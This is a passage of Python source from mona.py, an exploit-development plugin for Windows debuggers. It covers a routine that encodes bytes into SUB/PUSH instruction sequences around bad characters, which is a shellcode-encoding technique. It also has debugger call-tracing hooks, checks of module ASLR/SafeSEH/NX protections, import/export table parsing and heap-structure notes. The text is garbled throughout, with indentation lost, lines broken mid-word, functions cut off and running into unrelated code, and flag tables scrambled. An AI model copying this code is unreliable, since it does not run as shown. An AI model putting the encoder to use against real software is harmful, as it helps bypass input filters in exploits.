reversed : %s%s %s%s %s%s %s%s
" % (reversebytes[0],reversebytes[1],reversebytes[2],reversebytes[3],reversebyte
s[4],reversebytes[5],reversebytes[6],reversebytes[7]))
dbg.log("
-----------")
dbg.log(" 2's complement : %s%s %s%s %s%s %s%s
" % (twobytes[0],twobytes[1],twobytes[2],twobytes[3],twobytes[4],twobytes[5],two
bytes[6],twobytes[7]))
#for each byte, start with last one first
bcnt=3
overflow=0
while bcnt >= 0:
currbyte=twobytes[(bcnt*2)]+twobytes[(bcnt*2)+1]
currval=hexStrToInt(currbyte)-overflow
testval=currval/3
if testval < 32:
#put 1 in front of byte
currbyte="1"+currbyte
currval=hexStrToInt(currbyte)-overflow
overflow=1
else:
overflow=0
val1=currval/3
val2=currval/3
val3=currval/3
sumval=val1+val2+val3
if sumval < currval:
val3 = val3 + (currval-sumval)
#validate / fix badchars
fixvals=self.validatebadchars_enc(val1,val2,val3
,badchars)
val1="%02x" % fixvals[0]
val2="%02x" % fixvals[1]
val3="%02x" % fixvals[2]
opcodes.append(val1)
opcodes.append(val2)
opcodes.append(val3)
bcnt=bcnt-1
# we should now have 12 bytes in opcodes
if not silent:
dbg.log("
-----------")
dbg.log("
%s %s %s %s" % (opc
odes[9],opcodes[6],opcodes[3],opcodes[0]))
dbg.log("
%s %s %s %s" % (opc
odes[10],opcodes[7],opcodes[4],opcodes[1]))
dbg.log("
%s %s %s %s" % (opc
odes[11],opcodes[8],opcodes[5],opcodes[2]))
dbg.log("")
thisencodedbyte = "\x2D"
thisencodedbyte += hex2bin("\\x%s" % opcodes[0])
thisencodedbyte += hex2bin("\\x%s" % opcodes[3])
thisencodedbyte += hex2bin("\\x%s" % opcodes[6])
thisencodedbyte += hex2bin("\\x%s" % opcodes[9])
encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x
%s%s%s%s" % (opcodes[9],opcodes[6],opcodes[3],opcodes[0])]
encodedline += 1
thisencodedbyte = "\x2D"
thisencodedbyte += hex2bin("\\x%s" % opcodes[1])
thisencodedbyte += hex2bin("\\x%s" % opcodes[4])
thisencodedbyte += hex2bin("\\x%s" % opcodes[7])
thisencodedbyte += hex2bin("\\x%s" % opcodes[10])
encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x
%s%s%s%s" % (opcodes[10],opcodes[7],opcodes[4],opcodes[1])]
encodedline += 1
thisencodedbyte = "\x2D"
thisencodedbyte += hex2bin("\\x%s" % opcodes[2])
thisencodedbyte += hex2bin("\\x%s" % opcodes[5])
thisencodedbyte += hex2bin("\\x%s" % opcodes[8])
thisencodedbyte += hex2bin("\\x%s" % opcodes[11])
encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x
%s%s%s%s" % (opcodes[11],opcodes[8],opcodes[5],opcodes[2])]
encodedline += 1
encodedbytes[encodedline] = ["\x50","PUSH EAX"]
encodedline += 1
blockcnt -= 1
return encodedbytes
def validatebadchars_enc(self,val1,val2,val3,badchars):
newvals=[]
allok=0
giveup=0
type=0
origval1=val1
origval2=val2
origval3=val3
d1=0
d2=0
d3=0
lastd1=0
lastd2=0
lastd3=0
while allok==0 and giveup==0:
#check if there are bad chars left
charcnt=0
val1ok=1
val2ok=1
val3ok=1
while charcnt < len(badchars):
if (hex2bin("%02x" % val1) in badchars):
val1ok=0
if (hex2bin("%02x" % val2) in badchars):
val2ok=0
if (hex2bin("%02x" % val3) in badchars):
val3ok=0
charcnt=charcnt+1
if (val1ok==0) or (val2ok==0) or (val3ok==0):
allok=0
else:
allok=1
if allok==0:
#try first by sub 1 from val1 and val2, and add
more to val3
if type==0:
val1=val1-1
val2=val2-1
val3=val3+2
if (val1<1) or (val2==0) or (val3 > 126)
:
val1=origval1
val2=origval2
val3=origval3
type=1
if type==1:
#then try by add 1 to val1 and val2, and sub mor
e from val3
val1=val1+1
val2=val2+1
val3=val3-2
if (val1>126) or (val2>126) or (val3 < 1
):
val1=origval1
val2=origval2
val3=origval3
type=2
if type==2:
#try by sub 2 from val1, and add 1 to va
l2 and val3
val1=val1-2
val2=val2+1
val3=val3+1
if (val1<1) or (val2>126) or (val3 > 126
):
val1=origval1
val2=origval2
val3=origval3
type=3
if type==3:
#try by add 2 to val1, and sub 1 from va
l2 and val3
val1=val1+2
val2=val2-1
val3=val3-1
if (val1 > 126) or (val2 < 1) or (val3 <
1):
val1=origval1
val2=origval2
val3=origval3
type=4
if type==4:
if (val1ok==0):
val1=val1-1
d1=d1+1
else:
#now spread delta over other 2 v
alues
if (d1 > 0):
val2=val2+1
val3=origval3+d1-1
d1=d1-1
else:
val1=0
if (val1 < 1) or (val2 > 126) or (val3 >
126):
val1=origval1
val2=origval2
val3=origval3
d1=0
type=5
if type==5:
if (val1ok==0):
val1=val1+1
d1=d1+1
else:
#now spread delta over other 2 v
alues
if (d1 > 0):
val2=val2-1
val3=origval3-d1+1
d1=d1-1
else:
val1=255
if (val1>126) or (val2 < 1) or (val3 < 1
):
val1=origval1
val2=origval2
val3=origval3
val1ok=0
val2ok=0
val3ok=0
d1=0
d2=0
d3=0
type=6
if type==6:
if (val1ok==0):
val1=val1-1
#d1=d1+1
if (val2ok==0):
val2=val2+1
#d2=d2+1
d3=origval1-val1+origval2-val2
val3=origval3+d3
if (lastd3==d3) and (d3 > 0):
val1=origval1
val2=origval2
val3=origval3
giveup=1
else:
lastd3=d3
if (val1<1) or (val2 < 1) or (val3 > 126
):
val1=origval1
val2=origval2
val3=origval3
giveup=1
#check results
charcnt=0
val1ok=1
val2ok=1
val3ok=1
val1text="OK"
val2text="OK"
val3text="OK"
while charcnt < len(badchars):
if (val1 == badchars[charcnt]):
val1ok=0
val1text="NOK"
if (val2 == badchars[charcnt]):
val2ok=0
val2text="NOK"
if (val3 == badchars[charcnt]):
val3ok=0
val3text="NOK"
charcnt=charcnt+1
if (val1ok==0) or (val2ok==0) or (val3ok==0):
dbg.log(" ** Unable to fix bad char issue !",highlight=
1)
dbg.log("
-> Values to check : %s(%s) %s(%s) %s(
%s) " % (bin2hex(origval1),val1text,bin2hex(origval2),val2text,bin2hex(origval3)
,val3text),highlight=1)
val1=origval1
val2=origval2
val3=origval3
newvals.append(val1)
newvals.append(val2)
newvals.append(val3)
return newvals
#---------------------------------------#
# Class to perform call tracing
#
#---------------------------------------#
class MnCallTraceHook(LogBpHook):
def __init__(self, callptr, showargs, instruction, logfile):
LogBpHook.__init__(self)
self.callptr = callptr
self.showargs = showargs
self.logfile = logfile
self.instruction = instruction
def run(self,regs):
# get instruction at this address
thisaddress = regs["EIP"]
thisinstruction = self.instruction
allargs = []
argstr = ""
if thisinstruction.startswith("CALL "):
if self.showargs > 0:
for cnt in xrange(self.showargs):
thisarg = 0
try:
thisarg = struct.unpack('<L',dbg
.readMemory(regs["ESP"]+(cnt*4),4))[0]
except:
thisarg = 0
allargs.append(thisarg)
argstr += "0x%08x, " % thisarg
argstr = argstr.strip(" ")
argstr = argstr.strip(",")
#dbg.log("CallTrace : 0x%08x : %s (%s)" % (thisa
ddress,thisinstruction,argstr),address = thisaddress)
#else:
#dbg.log("CallTrace : 0x%08x : %s" % (thisaddres
s,thisinstruction), address = thisaddress)
# save to file
try:
FILE=open(self.logfile,"a")
textra = ""
for treg in dbglib.Registers32BitsOrder:
if thisinstruction.lower().find(treg.low
er()) > -1:
textra += "%s = 0x%08x, " % (tre
g,regs[treg])
if textra != "":
textra = textra.strip(" ")
textra = textra.strip(",")
textra = "(" + textra + ")"
FILE.write("0x%08x : %s %s\n" % (thisaddress, th
isinstruction, textra))
if self.showargs > 0:
cnt = 0
while cnt < len(allargs):
content = ""
try:
bytecontent = dbg.readMe
mory(allargs[cnt],16)
content = bin2hex(byteco
ntent)
except:
content = ""
FILE.write("
Arg%d at
0x%08x : 0x%08x : %s\n" % (cnt,regs["ESP"]+(cnt*4),allargs[cnt],content))
cnt += 1
FILE.close()
except:
#dbg.log("OOPS", highlight=1)
pass
if thisinstruction.startswith("RETN"):
returnto = 0
try:
returnto = struct.unpack('<L',dbg.readMemory(reg
s["ESP"],4))[0]
except:
returnto = 0
#dbg.log("ReturnTrace : 0x%08x : %s - Return To 0x%08x"
% (thisaddress,thisinstruction,returnto), address = thisaddress)
try:
FILE=open(self.logfile,"a")
FILE.write("0x%08x : %s \n" % (thisaddress, this
instruction))
FILE.write("
ReturnTo at 0x%08x : 0x%
08x\n" % (regs["ESP"],returnto))
FILE.write("
EAX : 0x%08x\n" % regs["
EAX"])
FILE.close()
except:
pass
#---------------------------------------#
# Class to set deferred BP Hooks
#
#---------------------------------------#
class MnDeferredHook(LogBpHook):
def __init__(self, loadlibraryptr, targetptr):
LogBpHook.__init__(self)
self.targetptr = targetptr
self.loadlibraryptr = loadlibraryptr
def run(self,regs):
#dbg.log("0x%08x - DLL Loaded, checking for %s" % (self.loadlibr
aryptr,self.targetptr), highlight=1)
dbg.pause()
if self.targetptr.find(".") > -1:
# function name, try to resolve
functionaddress = dbg.getAddress(self.targetptr)
if functionaddress > 0:
dbg.log("Deferred Breakpoint set at %s (0x%08x)"
% (self.targetptr,functionaddress),highlight=1)
dbg.setBreakpoint(functionaddress)
self.UnHook()
dbg.log("Hook removed")
dbg.run()
return
if self.targetptr.find("+") > -1:
ptrparts = self.targetptr.split("+")
modname = ptrparts[0]
if not modname.lower().endswith(".dll"):
modname += ".dll"
themodule = getModuleObj(modname)
if themodule != None and len(ptrparts) > 1:
address = themodule.getBase() + int(ptrparts[1],
16)
if address > 0:
dbg.log("Deferred Breakpoint set at %s (
0x%08x)" % (self.targetptr,address),highlight=1)
dbg.setBreakpoint(address)
self.UnHook()
dbg.log("Hook removed")
dbg.run()
return
if self.targetptr.find("+") == -1 and self.targetptr.find(".") =
= -1:
address = int(self.targetptr,16)
thispage = dbg.getMemoryPageByAddress(address)
if thispage != None:
dbg.setBreakpoint(address)
dbg.log("Deferred Breakpoint set at 0x%08x" % ad
dress, highlight=1)
self.UnHook()
dbg.log("Hook removed")
dbg.run()
#---------------------------------------#
# Class to access config file
#
#---------------------------------------#
class MnConfig:
"""
Class to perform config file operations
"""
def __init__(self):
self.configfile = "mona.ini"
def get(self,parameter):
"""
Retrieves the contents of a given parameter from the config file
Arguments:
parameter - the name of the parameter
Return:
A string, containing the contents of that parameter
"""
#read config file
#format : parameter=value
toreturn = ""
curparam=[]
if os.path.exists(self.configfile):
try:
configfileobj = open(self.configfile,"rb")
content = configfileobj.readlines()
configfileobj.close()
for thisLine in content:
if not thisLine[0] == "#":
currparam = thisLine.split('=')
if currparam[0].strip().lower()
== parameter.strip().lower() and len(currparam) > 1:
#get value
currvalue = ""
i=1
while i < len(currparam)
:
currvalue = curr
value + currparam[i] + "="
i += 1
toreturn = currvalue.rst
rip("=").replace('\n','').replace('\r','')
except:
toreturn=""
return toreturn
def set(self,parameter,paramvalue):
"""
Sets/Overwrites the contents of a given parameter in the config
file
Arguments:
parameter - the name of the parameter
paramvalue - the new value of the parameter
Return:
nothing
"""
if os.path.exists(self.configfile):
#modify file
try:
configfileobj = open(self.configfile,"r")
content = configfileobj.readlines()
configfileobj.close()
newcontent = []
paramfound = False
for thisLine in content:
thisLine = thisLine.replace('\n','').rep
lace('\r','')
if not thisLine[0] == "#":
currparam = thisLine.split('=')
if currparam[0].strip().lower()
== parameter.strip().lower():
newcontent.append(parame
ter+"="+paramvalue+"\n")
paramfound = True
else:
newcontent.append(thisLi
ne+"\n")
else:
newcontent.append(thisLine+"\n")
if not paramfound:
newcontent.append(parameter+"="+paramval
ue+"\n")
"""
global noheader
if clear:
if not silent:
dbg.log("[+] Preparing output file '" + self.fil
ename +"'")
if not showheader:
noheader = True
debuggedname = dbg.getDebuggedName()
thispid = dbg.getDebuggedPid()
if thispid == 0:
debuggedname = "_no_name_"
thisconfig = MnConfig()
workingfolder = thisconfig.get("workingfolder").rstrip("\\").str
ip()
#strip extension from debuggedname
parts = debuggedname.split(".")
extlen = len(parts[len(parts)-1])+1
debuggedname = debuggedname[0:len(debuggedname)-extlen]
debuggedname = debuggedname.replace(" ","_")
workingfolder = workingfolder.replace('%p', debuggedname)
workingfolder = workingfolder.replace('%i', str(thispid))
logfile = workingfolder + "\\" + self.filename
#does working folder exist ?
if workingfolder != "":
if not os.path.exists(workingfolder):
try:
dbg.log("
- Creating working folder %
s" % workingfolder)
#recursively create folders
os.makedirs(workingfolder)
dbg.log("
- Folder created")
except:
dbg.log(" ** Unable to create working
folder %s, the debugger program folder will be used instead" % workingfolder,hig
hlight=1)
logfile = self.filename
else:
logfile = self.filename
if clear:
if not silent:
dbg.log("
- (Re)setting logfile %s" % logfile
)
try:
if os.path.exists(logfile):
try:
os.delete(logfile+".old")
except:
pass
try:
os.rename(logfile,logfile+".old"
)
except:
try:
os.rename(logfile,logfil
e+".old2")
except:
pass
except:
pass
#write header
if not noheader:
try:
with open(logfile,"w") as fh:
fh.write("=" * 80 + '\n')
thisversion,thisrevision = getVe
rsionInfo(inspect.stack()[0][1])
thisversion = thisversion.replac
e("'","")
fh.write(" Output generated by
mona.py v"+thisversion+", rev "+thisrevision+" - " + __DEBUGGERAPP__ + "\n")
fh.write(" Corelan Team - https
://www.corelan.be\n")
fh.write("=" * 80 + '\n')
osver=dbg.getOsVersion()
osrel=dbg.getOsRelease()
fh.write(" OS : " + osver + ",
release " + osrel + "\n")
fh.write(" Process being debugg
ed : " + debuggedname +" (pid " + str(thispid) + ")\n")
currmonaargs = " ".join(x for x
in currentArgs)
fh.write(" Current mona argumen
ts: %s\n" % currmonaargs)
fh.write("=" * 80 + '\n')
fh.write(" " + datetime.datetim
e.now().strftime("%Y-%m-%d %H:%M:%S") + "\n")
fh.write("=" * 80 + '\n')
except:
pass
else:
try:
with open(logfile,"w") as fh:
fh.write("")
except:
pass
#write module table
try:
if not ignoremodules:
showModuleTable(logfile)
except:
pass
return logfile
def write(self,entry,logfile):
"""
Write an entry (can be multiline) to a given logfile
Arguments:
entry - the data to write to the logfile
logfile - the full path to the logfile
Return:
nothing
"""
towrite = ""
#check if entry is int
if type(entry) == int:
if entry > 0:
ptrx = MnPointer(entry)
modname = ptrx.belongsTo()
modinfo = MnModule(modname)
towrite = "0x" + toHex(entry) + " : " + ptrx.__s
tr__() + " " + modinfo.__str__()
else:
towrite = entry
else:
towrite = entry
# if this fails, we got an unprintable character
try:
towrite = str(towrite)
except:
# one at a time
towrite2 = ""
for c in towrite:
try:
towrite2 += str(c)
except:
towrite2 += "\\x" + str(hex(ord(c))).rep
lace("0x","")
towrite = towrite2
try:
with open(logfile,"a") as fh:
if towrite.find('\n') > -1:
fh.writelines(towrite)
else:
fh.write(towrite+"\n")
except:
pass
return True
#---------------------------------------#
# Class to access module properties
#
#---------------------------------------#
class MnModule:
"""
Class to access module properties
"""
def __init__(self, modulename):
modisaslr = True
modissafeseh = True
modrebased = True
modisnx = True
modisos = True
self.IAT = {}
self.EAT = {}
path = ""
mzbase = 0
mzsize = 0
mztop = 0
mcodebase = 0
mcodesize = 0
mcodetop = 0
mentry = 0
mversion = ""
self.internalname = modulename
if modulename != "":
osver=dbg.getOsVersion()
safeseh_offset = [0x5f, 0x5f, 0x5e]
safeseh_flag = [0x4, 0x4, 0x400]
os_index = 0
# Vista / Win7 / Win8
if win7mode:
os_index = 2
flags=struct.unpack('<H',dbg.readMemory(
pebase+safeseh_offset[os_index],2))[0]
numberofentries=struct.unpack('<L',dbg.r
eadMemory(pebase+0x74,4))[0]
#safeseh ?
if (flags&safeseh_flag[os_index])!=0:
modissafeseh=True
else:
if numberofentries>10:
sectionaddress,sectionsi
ze=struct.unpack('<LL',dbg.readMemory(pebase+0x78+8*10,8))
sectionaddress+=mzbase
data=struct.unpack('<L',
dbg.readMemory(sectionaddress,4))[0]
condition = False
if os_index < 2:
condition=(secti
onsize!=0) and ((sectionsize==0x40) or (sectionsize==data))
else:
condition=(secti
onsize!=0) and ((sectionsize==0x40))
if condition==False:
modissafeseh=Fal
se
else:
sehlistaddress,s
ehlistsize=struct.unpack('<LL',dbg.readMemory(sectionaddress+0x40,8))
if sehlistaddres
s!=0 and sehlistsize!=0:
modissaf
eseh=True
else:
modissaf
eseh=False
#aslr
if (flags&0x0040)==0: # 'IMAGE_DLL_CHAR
ACTERISTICS_DYNAMIC_BASE
modisaslr=False
#nx
if (flags&0x0100)==0:
modisnx=False
#rebase
if mzrebase <> mzbase:
modrebased=True
else:
# should never be hit
#print "No module specified !!!"
#print "stacktrace : "
#print traceback.format_exc()
return None
#check if module is excluded
thisconfig = MnConfig()
allexcluded = []
excludedlist = thisconfig.get("excluded_modules")
modfound = False
if excludedlist:
allexcluded = excludedlist.split(',')
for exclentry in allexcluded:
if exclentry.lower().strip() == modulename.lower
().strip():
modfound = True
self.isExcluded = modfound
#done - populate variables
self.isAslr = modisaslr
self.isSafeSEH = modissafeseh
self.isRebase = modrebased
self.isNX = modisnx
self.isOS = modisos
self.moduleKey = modulename
self.modulePath = path
self.moduleBase = mzbase
self.moduleSize = mzsize
self.moduleTop = mztop
self.moduleVersion = mversion
self.moduleEntry = mentry
self.moduleCodesize = mcodesize
self.moduleCodetop = mcodetop
self.moduleCodebase = mcodebase
def __str__(self):
#return general info about the module
#modulename + info
"""
Get information about a module (human readable format)
Arguments:
None
Return:
String with various properties about a module
"""
outstring = ""
if self.moduleKey != "":
outstring = "[" + self.moduleKey + "] ASLR: " + str(self
eTop,criteria)
return funccalls
def getIAT(self):
IAT = {}
try:
if len(self.IAT) == 0:
themod = dbg.getModule(self.moduleKey)
syms = themod.getSymbols()
thename = ""
for sym in syms:
if syms[sym].getType().startswith("Impor
t"):
thename = syms[sym].getName()
theaddress = syms[sym].getAddres
s()
if not theaddress in IAT:
IAT[theaddress] = thenam
e
# merge
# find optional header
PEHeader_ref = self.moduleBase + 0x3c
PEHeader_location = self.moduleBase + struct.unp
ack('<L',dbg.readMemory(PEHeader_ref,4))[0]
# do we have an optional header ?
bsizeOfOptionalHeader = dbg.readMemory(PEHeader_
location+0x14,2)
sizeOfOptionalHeader = struct.unpack('<L',bsizeO
fOptionalHeader+"\x00\x00")[0]
OptionalHeader_location = PEHeader_location + 0x
18
if sizeOfOptionalHeader > 0:
# get address of DataDirectory
DataDirectory_location = OptionalHeader_
location + 0x60
# get size of Import Table
importtable_size = struct.unpack('<L',db
g.readMemory(DataDirectory_location+0x64,4) )[0]
importtable_rva = struct.unpack('<L',dbg
.readMemory(DataDirectory_location+0x60,4) )[0]
iatAddr = self.moduleBase + importtable_
rva
max_nr_entries = importtable_size / 4
iatcnt = 0
while iatcnt < max_nr_entries:
thisloc = iatAddr + (4*iatcnt)
iatEntry = struct.unpack('<L',db
g.readMemory(thisloc,4) )[0]
if iatEntry > 0:
ptr = iatEntry
ptrx = MnPointer(iatEntr
y)
modname = ptrx.belongsTo
()
tmod = MnModule(modname)
thisfunc = dbglib.Functi
on(dbg,ptr)
thisfuncfullname = thisf
unc.getName().lower()
if thisfuncfullname.ends
with(".unknown") or thisfuncfullname.endswith(".%08x" % ptr):
if not tmod is N
one:
imagenam
e = tmod.getShortName()
eatlist
= tmod.getEAT()
if iatEn
try in eatlist:
thisfuncfullname = "." + imagename + "!" + eatlist[iatEntry]
thisfuncname = thisfuncfullname.split('.')
IAT[thisloc] = thisfuncname[1].strip(">")
else:
IAT[thisloc] = imagename + "!0x%08x" % iatEntry
else:
IAT[thisloc] = t
hisfuncfullname.replace(".","!")
iatcnt += 1
if len(IAT) == 0:
#search method nr 2, not accurate, but w
ill find *something*
funccalls = self.getFunctionCalls()
for functype in funccalls:
for fptr in funccalls[functype]:
ptr=struct.unpack('<L',d
bg.readMemory(fptr+2,4))[0]
if ptr >= self.moduleBas
e and ptr <= self.moduleTop:
if not ptr in IA
T:
thisfunc
= dbglib.Function(dbg,ptr)
thisfunc
fullname = thisfunc.getName().lower()
thisfunc
name = []
if thisf
uncfullname.endswith(".unknown") or thisfuncfullname.endswith(".%08x" % ptr):
iatptr = struct.unpack('<L',dbg.readMemory(ptr,4))[0]
# see if we can find the original function name using the EAT
tptr = MnPointer(ptr)
modname = tptr.belongsTo()
tmod = MnModule(modname)
ofullname = thisfuncfullname
if not tmod is None:
imagename = tmod.getShortName()
eatlist = tmod.getEAT()
if iatptr in eatlist:
thisfuncfullname = "." + imagename + "!" + eatlist[iatptr]
if thisfuncfullname == ofullname:
tparts = thisfuncfullname.split('.')
thisfuncfullname = tparts[0] + (".%08x" % iatptr)
thisfunc
name = thisfuncfullname.split('.')
IAT[ptr]
= thisfuncname[1].strip(">")
self.IAT = IAT
else:
IAT = self.IAT
except:
import traceback
dbg.logLines(traceback.format_exc())
return IAT
return IAT
def getEAT(self):
eatlist = {}
if len(self.EAT) == 0:
try:
# avoid major suckage, let's do it ourselves
# find optional header
PEHeader_ref = self.moduleBase + 0x3c
PEHeader_location = self.moduleBase + struct.unp
ack('<L',dbg.readMemory(PEHeader_ref,4))[0]
# do we have an optional header ?
bsizeOfOptionalHeader = dbg.readMemory(PEHeader_
location+0x14,2)
sizeOfOptionalHeader = struct.unpack('<L',bsizeO
fOptionalHeader+"\x00\x00")[0]
OptionalHeader_location = PEHeader_location + 0x
18
if sizeOfOptionalHeader > 0:
# get address of DataDirectory
DataDirectory_location = OptionalHeader_
location + 0x60
# get size of Export Table
exporttable_size = struct.unpack('<L',db
g.readMemory(DataDirectory_location+4,4) )[0]
exporttable_rva = struct.unpack('<L',dbg
.readMemory(DataDirectory_location,4) )[0]
if exporttable_size > 0:
# get start of export table
eatAddr = self.moduleBase + expo
rttable_rva
nr_of_names = struct.unpack('<L'
,dbg.readMemory(eatAddr + 0x18,4))[0]
rva_of_names = self.moduleBase +
struct.unpack('<L',dbg.readMemory(eatAddr + 0x20,4))[0]
address_of_functions = self.mod
uleBase + struct.unpack('<L',dbg.readMemory(eatAddr + 0x1c,4))[0]
for i in range(0, nr_of_names):
eatName = dbg.readString
(self.moduleBase + struct.unpack('<L',dbg.readMemory(rva_of_names + (4 * i),4))[
0])
eatAddress = self.module
Base + struct.unpack('<L',dbg.readMemory(address_of_functions + (4 * i),4))[0]
eatlist[eatAddress] = ea
tName
self.EAT = eatlist
except:
return eatlist
else:
eatlist = self.EAT
return eatlist
def getShortName(self):
return stripExtension(self.moduleKey)
def getNtGlobalFlag():
pebaddress = dbg.getPEBAddress()
global NtGlobalFlag
if NtGlobalFlag == -1:
try:
NtGlobalFlag = struct.unpack('<L',dbg.readMemory(pebaddr
ess+0x068,4))[0]
except:
NtGlobalFlag = 0
return NtGlobalFlag
def getNtGlobalFlagDefinitions():
definitions = {}
definitions[0x0]
definitions[0x00000001]
definitions[0x00000002]
definitions[0x00000004]
definitions[0x00000008]
=
=
=
=
["soe",
["sls",
["dic",
["shg",
"Stop On Execute"]
"Show Loader Snaps"]
"Debug Initial Command"]
"Stop On Hung GUI"]
definitions[0x00000010]
definitions[0x00000020]
definitions[0x00000040]
definitions[0x00000080]
=
=
=
=
["htc",
["hfc",
["hpc",
["hvc",
"Enable
"Enable
"Enable
"Enable
Heap
Heap
Heap
Heap
Tail Checking"]
Free Checking"]
Parameter Checking"]
Validation On Call"]
ype"]
definitions[0x00008000] = ["htd", "Enable Heap Tagging By DLL"]
definitions[0x00010000] = ["dse", "Disable Stack Extension"]
definitions[0x00020000] = ["d32", "Enable Debugging Of Win32 Subsystem"]
definitions[0x00040000] = ["ksl", "Enable Loading Of Kernel Debugger Sym
bols"]
definitions[0x00080000] = ["dps", "Disable Paging Of Kernel Stacks"]
definitions[0x00100000]
definitions[0x00200000]
definitions[0x00400000]
definitions[0x00800000]
=
=
=
=
["scb",
["dhc",
["ece",
["eel",
definitions[0x01000000]
definitions[0x02000000]
definitions[0x04000000]
definitions[0x08000000]
=
=
=
=
["eot",
["hpa",
["dwl",
["ddp",
def getNtGlobalFlagValues(flag):
allvalues = []
for defvalue in getNtGlobalFlagDefinitions():
if defvalue > 0:
allvalues.append(defvalue)
# sort list descending
allvalues.sort(reverse=True)
flagvalues = []
remaining = flag
for flagvalue in allvalues:
if flagvalue <= remaining:
remaining -= flagvalue
if remaining >= 0:
flagvalues.append(flagvalue)
return flagvalues
def getNtGlobalFlagNames(flag):
names = []
allvalues = getNtGlobalFlagDefinitions()
currentvalues = getNtGlobalFlagValues(flag)
for defvalue in currentvalues:
if defvalue > 0:
names.append(allvalues[defvalue][0])
return names
def getNtGlobalFlagValueData(flagvalue):
toreturn = ["",""]
if flagvalue in getNtGlobalFlagDefinitions():
toreturn = getNtGlobalFlagDefinitions()[flagvalue]
return toreturn
def getActiveFlagNames(flagvalue):
currentflags = getNtGlobalFlagValues(flagvalue)
flagdefs = getNtGlobalFlagDefinitions()
flagnames = []
if len(currentflags) == 0:
currentflags = [0]
for flag in currentflags:
if flag in flagdefs:
flagdata = flagdefs[flag]
flagnames.append(flagdata[0])
return ",".join(flagnames)
def getNtGlobalFlagValueName(flagvalue):
data = getNtGlobalFlagValueData(flagvalue)
toreturn = ""
if data[0] != "":
toreturn += "+" + data[0]
else:
toreturn += "
"
toreturn += " - "
toreturn += data[1]
return toreturn
#---------------------------------------#
# Class for heap structures
#
#---------------------------------------#
class MnHeap:
"""
Class for heap structures
"""
heapbase = 0
EncodeFlagMask = 0
Encoding = 0
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
_HEAP
Windows XP
---------+0x000 Entry
: _HEAP_ENTRY
+0x008 Signature
: Uint4B
+0x00c Flags
: Uint4B
+0x010 ForceFlags
: Uint4B
+0x014 VirtualMemoryThreshold : Uint4B
+0x018 SegmentReserve : Uint4B
+0x01c SegmentCommit
: Uint4B
+0x020 DeCommitFreeBlockThreshold : Uint4B
+0x024 DeCommitTotalFreeThreshold : Uint4B
+0x028 TotalFreeSize
: Uint4B
+0x02c MaximumAllocationSize : Uint4B
+0x030 ProcessHeapsListIndex : Uint2B
+0x032 HeaderValidateLength : Uint2B
+0x034 HeaderValidateCopy : Ptr32 Void
+0x038 NextAvailableTagIndex : Uint2B
+0x03a MaximumTagIndex : Uint2B
+0x03c TagEntries
: Ptr32 _HEAP_TAG_ENTRY
+0x040 UCRSegments
: Ptr32 _HEAP_UCR_SEGMENT
+0x044 UnusedUnCommittedRanges : Ptr32 _HEAP_UNCOMMMTTED_RANGE
+0x048 AlignRound
: Uint4B
+0x04c AlignMask
: Uint4B
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
+0x050
+0x058
+0x158
+0x168
+0x16a
+0x16c
+0x170
+0x174
+0x178
+0x578
+0x57c
+0x580
+0x584
+0x586
+0x587
VirtualAllocdBlocks : _LIST_ENTRY
Segments
: [64] Ptr32 _HEAP_SEGMENT
u
: __unnamed
u2
: __unnamed
AllocatorBackTraceIndex : Uint2B
NonDedicatedListLength : Uint4B
LargeBlocksIndex : Ptr32 Void
PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY
FreeLists
: [128] _LIST_ENTRY
LockVariable
: Ptr32 _HEAP_LOCK
CommitRoutine
: Ptr32
long
FrontEndHeap
: Ptr32 Void
FrontHeapLockCount : Uint2B
FrontEndHeapType : UChar
LastSegmentIndex : UChar
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
Windows 7
--------+0x000 Entry
: _HEAP_ENTRY
+0x008 SegmentSignature : Uint4B
+0x00c SegmentFlags
: Uint4B
+0x010 SegmentListEntry : _LIST_ENTRY
+0x018 Heap
: Ptr32 _HEAP
+0x01c BaseAddress
: Ptr32 Void
+0x020 NumberOfPages
: Uint4B
+0x024 FirstEntry
: Ptr32 _HEAP_ENTRY
+0x028 LastValidEntry : Ptr32 _HEAP_ENTRY
+0x02c NumberOfUnCommittedPages : Uint4B
+0x030 NumberOfUnCommittedRanges : Uint4B
+0x034 SegmentAllocatorBackTraceIndex : Uint2B
+0x036 Reserved
: Uint2B
+0x038 UCRSegmentList : _LIST_ENTRY
+0x040 Flags
: Uint4B
+0x044 ForceFlags
: Uint4B
+0x048 CompatibilityFlags : Uint4B
+0x04c EncodeFlagMask : Uint4B
+0x050 Encoding
: _HEAP_ENTRY
+0x058 PointerKey
: Uint4B
+0x05c Interceptor
: Uint4B
+0x060 VirtualMemoryThreshold : Uint4B
+0x064 Signature
: Uint4B
+0x068 SegmentReserve : Uint4B
+0x06c SegmentCommit
: Uint4B
+0x070 DeCommitFreeBlockThreshold : Uint4B
+0x074 DeCommitTotalFreeThreshold : Uint4B
+0x078 TotalFreeSize
: Uint4B
+0x07c MaximumAllocationSize : Uint4B
+0x080 ProcessHeapsListIndex : Uint2B
+0x082 HeaderValidateLength : Uint2B
+0x084 HeaderValidateCopy : Ptr32 Void
+0x088 NextAvailableTagIndex : Uint2B
+0x08a MaximumTagIndex : Uint2B
+0x08c TagEntries
: Ptr32 _HEAP_TAG_ENTRY
+0x090 UCRList
: _LIST_ENTRY
+0x098 AlignRound
: Uint4B
+0x09c AlignMask
: Uint4B
+0x0a0 VirtualAllocdBlocks : _LIST_ENTRY
+0x0a8 SegmentList
: _LIST_ENTRY
+0x0b0 AllocatorBackTraceIndex : Uint2B
+0x0b4 NonDedicatedListLength : Uint4B
#
#
#
#
#
#
#
#
#
#
#
+0x0b8
+0x0bc
+0x0c0
+0x0c4
+0x0cc
+0x0d0
+0x0d4
+0x0d8
+0x0da
+0x0dc
+0x130
BlocksIndex
:
UCRIndex
:
PseudoTagEntries :
FreeLists
:
LockVariable
:
CommitRoutine
:
FrontEndHeap
:
FrontHeapLockCount
FrontEndHeapType :
Counters
:
TuningParameters :
Ptr32 Void
Ptr32 Void
Ptr32 _HEAP_PSEUDO_TAG_ENTRY
_LIST_ENTRY
